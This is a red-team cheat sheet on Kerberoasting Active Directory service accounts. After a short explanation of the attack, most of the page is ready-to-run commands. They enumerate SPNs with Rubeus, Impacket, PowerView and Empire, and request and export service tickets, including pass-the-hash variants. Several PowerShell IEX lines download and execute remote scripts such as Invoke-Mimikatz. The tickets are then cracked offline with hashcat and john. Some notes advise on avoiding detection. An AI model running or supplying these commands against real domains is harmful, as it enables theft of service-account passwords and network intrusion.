Exploitation - Kerberos Kerberoasting

Overview

A Kerberoasting attack is an attack on the Kerberos authentication protocol that involves compromising the password of a service account, a domain account that has a ServicePrincipalName (SPN), through service tickets requests to the Ticket-Granting Service (TGS).

The attack is based on the fact that a part of the service tickets is encrypted using one of the service account secrets (RC4, corresponding to the NTLM hash of the service account password, and AES 128/256 bits keys). The encryption type to be used can be specified client-side in order to force the use of the RC4 key. Thus, an offline cracking attack on the service tickets can be conducted to retrieve the plaintext password of the corresponding service account.

As any authenticated user on the domain in possession of a valid Ticket-Granting Ticket (TGT) can requests service tickets for all available services, the service accounts password are exposed to offline cracking attack that are much faster and can not be time restricted.

The attack chain is as follow:

  • Identification of accounts with a SPN (service accounts)

  • Request of a service ticket for those services

  • Extraction of the TGS for offline cracking

Service Principal Names (SPN)

The SPN is a unique identifier of a service instance. SPNs are used in Kerberos authentication to associate a service instance with a service logon account. SPN are used to map a service running on a server to an account it’s running as so that it can accept Kerberos authentication.

Automated SPN discover, request and export of TGS

The following tools can be used to automate the SPN discovery and the request and export of Service Tickets for offline cracking.

Recommended tools:

  • Rubeus: robust and allow to filter out AES-enabled accounts.

  • GetUserSPNs.py / GetUserSPNs_windows.exe: robust and potentially less detected by security products.

# List statistics about Kerberoastable accounts, such as the number of accounts supporting the different encryption algorithms and the years of last password definition
Rubeus.exe kerberoast /stats

# All service accounts without AES enabled
Rubeus.exe kerberoast /rc4opsec /outfile:<FILE_PATH>

# All RC4-enabled service accounts (whom may have AES enabled as well) - with RC4 encrypted service tickets
Rubeus.exe kerberoast /tgtdeleg /outfile:<FILE_PATH>

# All service accounts - with the highest supported encryption algorithm
Rubeus.exe kerberoast /outfile:<FILE_PATH>

# Specific service account
Rubeus.exe kerberoast /tgtdeleg /user:<USERNAME> /outfile:<FILE_PATH>
Rubeus.exe kerberoast /tgtdeleg /spn:<SPN> /outfile:<FILE_PATH>

# All service accounts in the specified domain with the provided credentials
# Note that sometimes the credentials specification may induces a bug and Rubeus should be used through a runas /Netonly session
Rubeus.exe kerberoast /rc4opsec /dc:<DC_HOSTNAME | DC_IP> /domain:<DOMAIN_FQDN> /creduser:'<DOMAIN_FQDN>\<USERNAME>' /credpassword:'<PASSWORD>' /outfile:<FILE_PATH>
Rubeus.exe kerberoast /dc:<DC_HOSTNAME | DC_IP> /domain:<DOMAIN_FQDN> /creduser:'<DOMAIN_FQDN>\<USERNAME>' /credpassword:'<PASSWORD>' /outfile:<FILE_PATH>

# (Powershell) Invoke-Kerberoast - Load in memory
IEX (New-Object Net.WebClient).DownloadString(‘https://gist.githubusercontent.com/0xbadjuju/0ebe02983273048c237a8b24633cee3f/raw/c385a21c230ee0e274293aa4e50b5b9ed4197df2/Invoke-Kerberoast.ps1')
Invoke-Kerberoast [[-Identity] <String[]>] [-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-OutputFormat <String>] [-Credential <PSCredential>]
Invoke-Kerberoast
Invoke-Kerberoast -Domain <DOMAIN> -Server <DC>
Invoke-Kerberoast -Format "John" / "Hashcat" # Default to John
Invoke-Kerberoast | % { $_.Hash } | Out-File -Encoding ASCII <FILE>

# (Python) Impacket/examples GetUserSPNs.py
# Or standaloned Windows / Linux versions compiled: https://github.com/ropnop/impacket_static_binaries.
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> <DOMAIN>/<USERNAME>
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -outputfile <FILE> <DOMAIN>/<USERNAME>

Manual SPN Discovery

The following tools can be used to retrieve the SPN of the Domain services:

# Active Directory module
Get-ADUser -Properties servicePrincipalName -Filter "servicePrincipalName -like '*'" | Select-Object SamAccountName,servicePrincipalName
Get-ADUser -Server <DC_HOSTNAME | DC_IP> -Credential <PSCredential> -Properties servicePrincipalName -Filter "servicePrincipalName -like '*'" | Select-Object SamAccountName,servicePrincipalName

# PowerView
Get-DomainUser -SPN | Select-Object SamAccountName,servicePrincipalName
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}

# (Python) Impacket/examples GetUserSPNs.py
# Request service tickets for all service accounts
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> <DOMAIN>/<USERNAME>
# Request service tickets for the specific account (using the service account SamAccountName)
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> <DOMAIN>/<USERNAME> -request-user '<USERNAME>'
# Pass-the-Hash
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -hashes <LMHASH:NTHASH> <DOMAIN>/<USERNAME>

# (Powershell) GetUserSPNs - retrieve only SPN associated to user accounts (CN=Users) - inject and run automatically
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1')

# (Powershell) Get-SPN - allows for regex searching in the account, service or group name (specified by the Type and Search parameters)
# IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1")
Get-SPN [[-Credential] <PSCredential>] [[-DomainController] <String>] [[-Limit] <Int32>] [[-SearchScope] <String>] [[-SearchDN] <String>] [-Type] <String> [-Search] <String> [[-List] <String>] [<CommonParameters>]
Get-SPN -Type user -Search * -List yes
Get-SPN -Type service -Search "MSSQL*"
Get-SPN -DomainController <DC_HOSTNAME | DC_IP> -Credential <DOMAIN>\<USERNAME [...]

# Empire
usemodule situational_awareness/network/get_spn

Focus on the accounts with the higher probability of using a weak password, usually user accounts with a password that has not been changed in a long time / not changed at all.

Manual request and export of Service Tickets

The following tools can be used to request and export specific user Service Tickets:

# (Python) Impacket/examples GetUserSPNs.py
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -request-user '<USER>' <DOMAIN>/<USERNAME> # Requests TGS for the SPN associated to the USER specified (just the username, no domain needed)
GetUserSPNs.py -dc-ip <DC_HOSTNAME | DC_IP> -request-user '<USER>' -outputfile <FILE> <DOMAIN>/<USERNAME>

# (Python) skelsec/kerberoast
kerberoast spnroast -r <DOMAIN> -u '<USER>' <DOMAIN>/<USERNAME>:<PASSWORD>@<DCIP> # Requests TGS for the SPN associated to the USER specified (just the username, no domain needed)
kerberoast spnroast -r <DOMAIN> -u '<USER>' -n <DOMAIN>/<USERNAME>:<NTLMHASH>@<DCIP> # PtH
kerberoast spnroast -r <DOMAIN> -u '<USER>' -n <DOMAIN>/<USERNAME>:<AESKEY>@<DCIP> # Pass the Key
kerberoast spnroast -r <DOMAIN> -t <USERFILE>  <DOMAIN>/<USERNAME>:<PASSWORD>@<DCIP> # File with a list of usernames to roast, one user per line
kerberoast spnroast -r <DOMAIN> -u '<USER>' -o <FILE> <DOMAIN>/<USERNAME>:<PASSWORD>@<DCIP>

# (Powershell)
# Request TGS KerberosRequestorSecurityToken, export them using Mimikatz and convert to hash using John's kirbi2john.py

# Requests TGS for the specified SPN
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"

# Requests TGS for all SPN associated to Users accounts
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1") | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}

# Export tickets using mimikatz
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command 'standard::base64 "kerberos::list /export" exit'

# Empire
usemodule credentials/get_spn_tickets
usemodule credentials/mimikatz/extract_tickets

Offline cracking of Service Tickets

Both John the Ripper (magnumripper fork) and hashcat can be used to crack the service tickets.

The hash needs to respect the following format to be recognized by John / hashcat:

# ENCRYPTION_TYPE 23 = RC4
# ENCRYPTION_TYPE 17 = AES128
# ENCRYPTION_TYPE 18 = AES256

$krb5tgs$<ENCRYPTION_TYPE>$*user$realm$test/spn*$63386[...]

Depending on the version used, the hash from the PowerSploit Invoke-Kerberos cmdlet may need to be manually updated. The Convert-Invoke-Kerberoast Python script may be used to automate the process:

python Convert-Invoke-Kerberoast.py -f <TICKETS_FILE> -w <OUTPUT_FILE>

The following commands to crack the hash can be used:

# Its recommended to use Hashcat on a Windows OS for better performance due to driver compatibility
hashcat64.exe -m 13100 -a 0 [-r <RULE_FILE>] <HASHFILE> <WORDLIST>

john --wordlist=<WORDLIST> <HASHFILE>

References

https://www.harmj0y.net/blog/redteaming/kerberoasting-revisited/ https://github.com/GhostPack/Rubeus/blob/master/README.md

Last updated